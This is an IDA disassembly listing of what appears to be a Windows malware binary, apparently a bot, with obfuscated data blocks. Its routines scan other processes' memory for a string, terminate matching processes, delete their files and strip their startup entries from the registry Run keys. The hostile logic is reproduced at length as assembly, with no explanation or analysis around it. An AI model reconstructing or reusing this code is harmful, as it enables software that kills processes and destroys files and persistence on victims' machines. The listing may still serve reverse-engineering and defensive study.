		dd 0A4A8A8D2h, 7474A4D2h, 2D2D2D74h, 0D22D2D2Dh, 0D2D2D2D2h
		dd 2121D2D2h, 0BE59A821h, 0A839D2D2h, 0D2D2A8D2h, 58317CE9h
		dd 25EEC5A6h, 0D22DDB88h, 0DB24687Ch, 0D27DD2D2h, 0D22468D2h
		dd 2DD2D87Ch, 592D2DD2h, 7CD22D45h, 0D27DD2D2h,	2E2DD2D2h
		dd 0D27CD2A8h, 0A6D27DD2h, 2DD22ED2h, 0D2D2DCD2h, 0A6D27DD2h
		dd 0DC2DD2D2h, 9820D2D2h, 0A8E9A0A8h, 2DA86D2Dh, 38D2882Dh
		dd 0DB20D2D2h, 0A8D2A8D2h, 0D2D26DA8h, 2DA898A0h, 85A0452Dh
		dd 0D27CD2A8h, 2DD2D27Ch, 0D27C602Dh, 57C727Ch,	8821252Dh
		dd 4D41552Dh, 9898D7D2h, 7CD2D2D2h, 0C5A65820h,	0C6EDCDEEh
		dd 0EDED59EEh, 0ED5FED5Fh, 0D274862Dh, 0A44774D2h, 0D22DD29Dh
		dd 90D22D88h, 59C274C3h, 0D2D2C279h, 2DD2A0C5h,	0D2A8A6D2h
		dd 0D2A8D2A8h, 0A820D2A8h, 0A8A827A8h, 58D2A858h, 322E52A0h
		dd 0D2222D2Eh, 0D285A8C5h, 0D219C5A8h, 5858AED2h, 0EE215968h
		dd 21682CA4h, 39C57CD2h, 0C3CD2D2Dh, 36D2C3D2h,	0D22DC649h
		dd 0C4A6C2D2h, 722DAEA6h, 9C6DAC4h, 0A6092D2Eh,	26EF09A6h
		dd 9093939h, 6E7DEF2Ah,	2DD247A6h, 7BC5A6A4h, 4B632974h
		dd 7B5FA6A8h
		db 7Bh,	5Ch, 2Dh
byte_4008C7	db 0D2h			; DATA XREF: brattyty:003DFE50o
		dd 0D2D2D2D3h, 2 dup(0D2D2D2D2h), 0D2A8A845h, 0D2D2D2AEh
		dd 2 dup(0D2D2D2D2h), 0AED2D2D2h, 0D2D2D2D2h, 0D2D2D2A6h
		dd 0D25FC4D2h, 0AE2D2DD2h, 0D2D27D2Fh, 746C6CAEh, 0C5D2D2D2h
		dd 7DA0A02Dh, 0D2A0AE7Dh, 0D2D2D2D2h, 0D22DD2D2h, 2 dup(0D2D2D2D2h)
		dd 74D2D2D2h, 0D2D2A8A8h, 0D2D2D2D2h, 0D274D2D2h, 45D2A0A0h
		dd 0D2D2D2D2h, 2FD2D2D2h, 0A8989D2Dh, 0D2D2D2D2h, 58684574h
		dd 2DEE2D2Dh, 5858A0A0h, 2D2D2D2Dh, 0D2D22D2Dh,	2 dup(0D2D2D2D2h)
		dd 144EC5D2h, 0D2E9D2D2h, 0D2D2D2D2h, 0B9D2A0D2h, 0D2D2B9B9h
		dd 0D2D2AED2h, 2DD2D24Bh, 0D2986D47h, 0D2A6D2D2h, 0D2D22DC5h
		dd 0D2D7D2AEh, 8 dup(0D2D2D2D2h), 0D245D2D2h, 0D2D2D2D2h
		dd 0D2D274D2h, 0AED2D2D2h, 3 dup(0D2D2D2D2h), 0D274D2D2h
		dd 0D2A4D2D2h, 0C268D2D2h, 74AE68D2h, 0D2A6D2D2h, 0D2D2D2D2h
		dd 0D274D2D2h, 0D2D274D2h, 7474D274h, 0D2D27DD2h, 0D2D274D2h
		dd 0D2D2D2D2h, 45C5A7D2h, 0AE8645C5h, 0DD9A89C5h, 0EB22E35Dh
		dd 0DAB5B86Bh, 5C3CFA76h, 9E08256Eh, 393DEA77h,	2AE0D6CBh
		dd 8EC43920h, 15A6612Fh, 0F7B3091h, 748D0ED2h, 5370D9E1h
		dd 533C6ECBh, 28FEFFDFh, 0D26D6CC5h, 3 dup(0D9D9D9D9h)
		dd 0D9D2D9D9h, 0D2D9D9D9h, 0D2D2D2D2h, 0D22DD2D2h, 0D2D274D2h
		dd 0D245D22Dh, 0D2D2D2C5h, 0D2D2D2D2h, 13D2D2D2h, 0BD1D98F1h
		dd 0D2586898h, 0D2D2D2A0h, 0D2D2D274h, 587474D2h, 0D2452D2Dh
		dd 0D2D2D2A0h, 0D2D2D274h, 2 dup(0D2D2D2D2h), 0A8D2C5C5h
		dd 2 dup(0D2D2D2D2h), 2D45D2D2h, 3 dup(0D2D2D2D2h), 0D274D2D2h
		dd 0D247D2D2h, 0D2D2D2D2h, 0D2D2D22Dh, 2 dup(0D2D2D2D2h)
		dd 0D2AED2D2h, 0D22DD2D2h, 74D2D27Dh, 0D2A8D2D2h, 0CBD2D268h
		dd 0D2AED2D2h, 6C7DD2C5h
		db 56h,	2 dup(0D2h)
byte_400AE3	db 51h			; DATA XREF: brattyty:003DFE54o
		dd 7F33815Bh, 398CF78Ch, 0A6306F13h, 0E0CD26F5h, 733000EFh
		dd 0B173C1h, 0FF100008h, 7FB76027h, 0DEA977h, 28DEA900h
		dd 547FF688h, 0ABA000CAh, 0AB6DAB6Dh, 34A9096Dh, 0DF04CB0Bh
		dd 71BDC8BDh, 0CC5F03D9h, 6070AFB8h, 1A72B4Fh, 80000040h
		dd 55B7DE57h, 7FFA8h, 2B000038h, 604854EFh, 0D421FF3Fh
		dd 0D3742DB7h, 0ADDCADD9h, 0C221FFDCh, 920553EAh, 0C808F4F8h
		dd 2BC8F499h, 0ABAA00BFh, 7FBE8A4Dh, 8AAA7FAAh,	1FAE2DF6h
		dd 24C04320h, 9010AFA8h, 1F181F60h, 0A9000018h,	0AEh, 0A9000000h
		dd 8988607Eh, 80D709AFh, 76F076F7h, 7FF20h, 7497E010h
		dd 0AE747474h, 0AA72CE9h, 0C0E7C457h, 0DF0BDE09h, 23015F04h
		dd 0EBAC119Dh, 2D32D6C0h, 4DD21974h, 0C400DD00h, 9A0B4C0Ch
		dd 801000BAh, 7FF08h, 0F49E5510h, 3E3D21FEh, 73B0B313h
		dd 0B3B973B9h, 0B0B3B0h, 5D7F0C00h, 623CFE25h, 77413Eh
		dd 4F6B5B00h, 96FAB9FAh, 0FF7DDC7Ah, 0C4D2FC15h, 3EAF2C26h
		dd 825A95F6h, 767DFF63h, 4983C9FAh, 0BF434943h,	600000DCh
		dd 609D609Dh, 4C9D609Dh, 260A3355h, 73965C09h, 292929C9h
		dd 7407FF49h, 33013F14h, 1B054B00h, 0B0159800h,	0D951CB17h
		dd 0DBF5DB5Bh, 0BE2D46F5h, 29892921h, 0FF2D46E1h, 0B7581F57h
		dd 982D4675h, 460D4625h, 0DBDA39BDh, 372D46F5h,	7FBDB78Dh
		dd 73945330h, 4110CEA1h, 60FE8CB2h, 11BA84Fh, 70000BAh
		dd 0BF9349A9h, 7FF7D0DCh, 8A32BB48h, 0DCF77F06h, 4B09A3EDh
		dd 7698C1AEh, 241EACA0h, 1A5ECBD1h, 9FA5AB18h, 0DFF85F58h
		dd 602FE07Fh, 0D9C7A057h, 0D76D706Dh, 0AC76AC1Ch, 175626h
		dd 0D6692900h, 395A8A04h, 0D4046D72h, 0ABCD7645h
		db 57h,	4, 4Ah
byte_400CC7	db 0C1h			; DATA XREF: brattyty:003DFE58o
		dd 74C1582Dh, 2DDBC174h, 0ED2D47EDh, 0A8EDA8A8h, 0ED2FA82Dh
		dd 2D6CEDA6h, 6CA0EDA8h, 6C2DC1C1h, 2DA8A82Ch, 0A8A6572Dh
		dd 595890C1h, 0A82D949Ch, 2DAE2DA5h, 0A82DC12Dh, 1EC16F2Dh
		dd 2 dup(2D2D2D2Dh), 0A8A8222Dh, 58C12D2Dh, 0A62D182Dh
		dd 2D2D0D3Dh, 0A6AE742Dh, 47A67C2Ch, 2DA0472Dh,	47C1A01Eh
		dd 0C1C147C1h, 0C174D2C1h, 0ACAED22Dh, 21AE6C2Dh, 2DA66C6Ch
		dd 2DD2AE21h, 68C16C74h, 0D2AE476Ch, 682A2D2Dh,	852C8665h
		dd 2D2D2D2Dh, 0ACAC2DD2h, 452D2DA5h, 2D2F26C1h,	2D272D6Ch
		dd 2D472DEDh, 2D79ED79h, 2D2DC12Dh, 0EDEDED2Dh,	2D2D2D45h
		dd 2D2D6E2Dh, 2DC1AE7Ch, 2C2C682Dh, 0C12DC12Ch,	0C12DC12Dh
		dd 0A42DC12Dh, 0B82DC1A0h, 0BE2DC17Dh, 2DD72D2Dh, 0A8A82C2Dh
		dd 0C42D252Ch, 0C67CD22Dh, 0AE7CAED2h, 0A6D2747Ch, 4768722Dh
		dd 0A8AD2DC1h, 0DAADA8ADh, 0A868A81Eh, 0A4A42D6Ch, 0C1A4A4A4h
		dd 0E5A8C6E4h, 2D2DC1A6h, 0ADA8AD2Dh, 2DDAADA8h, 2D585868h
		dd 0A52DC159h, 7C7C7C2Dh, 0F42DFA68h, 0C16C2DEDh, 0EDEDED2Dh
		dd 0FFC1EDEDh, 0EDEDEDEDh, 0D22D2DC1h, 0A8C1FD74h, 0A8A8A8A8h
		dd 0A52DA82Dh, 2C2DD2A5h, 0AEA8A668h, 0A62D2DC1h, 7474742Dh
		dd 2D7474A6h, 742D7C74h, 2D47DAA0h, 3D474793h, 2D3C2D74h
		dd 9DC42D2Dh, 2D372D90h, 2D392774h, 0A8A86CA8h,	842D2A25h
		dd 74A8742Dh, 0ADA8ADC4h, 0A8DAADA8h, 0A8ADA8ADh, 0C158DAADh
		dd 0A61EE0A8h, 0A8ADA8ADh, 0A97CE4D7h, 2D452D7Ch, 2D2D2D78h
		dd 0AD2DC12Dh, 1E2DD2A8h, 2DD22D2Dh, 68682D2Dh,	68682D68h
		dd 2D682D47h, 0C17C6C6Ch, 2D742D2Dh, 2D2D2D2Dh,	0A8A8AD74h
		dd 2D2D1E2Dh, 0DB74D62Dh, 2D742D2Dh, 2D747474h,	2D6CA82Dh
		dd 0C42D6C2Dh, 0A42DD2C6h, 2D2DAB2Dh, 0D27C2D2Dh, 0AE7CACAEh
		dd 65687CAEh, 7C2D7C7Ch, 8687C2Dh, 68ECECECh, 26266826h
		dd 68686826h, 68686868h, 68686826h, 26686826h, 26262668h
		dd 7C682626h, 2D7E2D68h, 4 dup(2D2D2D2Dh), 74747CAEh, 0A6A62DD2h
		dd 74902D2Dh, 0A8A82D2Dh, 3 dup(0A82DA82Dh), 0A8A82DA8h
		dd 6A6C2DA8h, 2D742D6Ah, 0C1C17474h, 172D431Eh,	2C742D74h
		dd 0C42D2DC1h, 0C12DD274h, 552D742Dh, 0A8AD2D61h, 2D7474A8h
		dd 2C7C2D2Dh, 0C1686825h, 0D2D22DC1h, 0C17CAE45h, 0C12D7474h
		dd 0D274A047h, 0C459C12Dh, 45C6C6A4h, 741E1EE4h, 2CC17C2Dh
		dd 582D6862h, 581474C1h, 7474583Ch, 2D1E1E1Eh, 0E4D2D2ADh
		dd 0A4E4742Dh, 0A674652Dh, 2D1ED2C4h, 1D19A822h, 0A52DA52Dh
		dd 3C12D2Dh, 0AD2DA8A0h, 2D1E7474h, 2D1E2DC1h, 451EC174h
		dd 0C42DC12Dh, 2D1ED2A8h, 682D2D08h, 2 dup(2D2D2D2Dh)
		dd 0A82D2DC1h, 0A8A89029h, 252D2DA8h, 0A833A8AEh, 0A8A8A8AEh
		dd 0A8A8A8A8h, 0A82DA8A8h, 25A42D74h, 2D2D2DC1h, 2D2D2D2Dh
		dd 1E2BAE74h, 0D61E1E1Eh, 451ED22Dh, 0A4A6A87Ch, 2D747474h
		dd 742D2D2Dh
dword_400FFC	dd 0D3A6DA6Ch		; DATA XREF: brattyty:003DFE60o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: brattyty:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


